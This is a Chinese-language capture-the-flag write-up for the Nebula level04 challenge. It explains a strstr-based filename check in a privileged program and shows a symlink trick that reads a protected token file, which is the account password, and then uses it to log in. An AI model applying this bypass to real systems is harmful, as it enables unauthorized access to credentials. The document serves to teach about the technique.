在/home/flag04中有个两个文件,一个是可执行文件,一个是token文本文件。要求绕过flag04的限制来读出token的内容,这个token就帐号flag04的登录密码。
是不是想直接就打开token了?通过ls -al可以看到,token的权限是-rw-------
,所属用户是flag04,就是说,除root权限外只有flag04这个用户可以对它进行读取操作。而flag04这个可执行程序的所属用户组是flag04,我们当前的用户level04和flag04都是属于同一用户组的,而程序对这个用户组仅有x(执行)权限,所以只有通过flag04下手了。 仔细看看flag04的源码,找出问题:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
int main(int argc, char **argv, char **envp)
{
char buf[1024];
int fd, rc;
if(argc == 1) {
printf("%s [file to read]\n", argv[0]);
exit(EXIT_FAILURE);
}
if(strstr(argv[1], "token") != NULL) {
printf("You may not access '%s'\n", argv[1]);
exit(EXIT_FAILURE);
}
fd = open(argv[1], O_RDONLY);
if(fd == -1) {
err(EXIT_FAILURE, "Unable to open %s", argv[1]);
}
rc = read(fd, buf, sizeof(buf));
if(rc == -1) {
err(EXIT_FAILURE, "Unable to read fd %d", fd);
}
write(1, buf, rc);
}
注意代码中第23行,它是对参数1进行open操作,参数1跟的是文件名。但是,这个文件名中不可含有“token”字符串,因为在代码18行被限制了,如果文件名中包含“token”字符串,程序会直接提示”You may not access 'token' ”,并且退出执行。
问题在于:strstr函数,它会找出指定的关键字(这里是token)在字符串中第一次出现的位置,如果没有找到,就返回NULL。因此,只要我们保证文件名里不包含“token”字符串就是了。 虽然我们没有权限更改token文件的文件名,但是我们可以新建一个链接类型的文件,指向/home/flag04/token,再执行flag04:
level04@nebula:/home/flag04$ cd /tmp/
level04@nebula:/tmp$ ln -s /home/flag04/token flag04
level04@nebula:/tmp$ /home/flag04/flag04 /tmp/flag04
06508b5e-8909-4f38-b630-fdb148a848a2
读出的这个token是flag04这个账号的密码,登录并执行getflag:
level04@nebula:/tmp$ su flag04
Password:
sh-4.2$ getflag
You have successfully executed getflag on a target account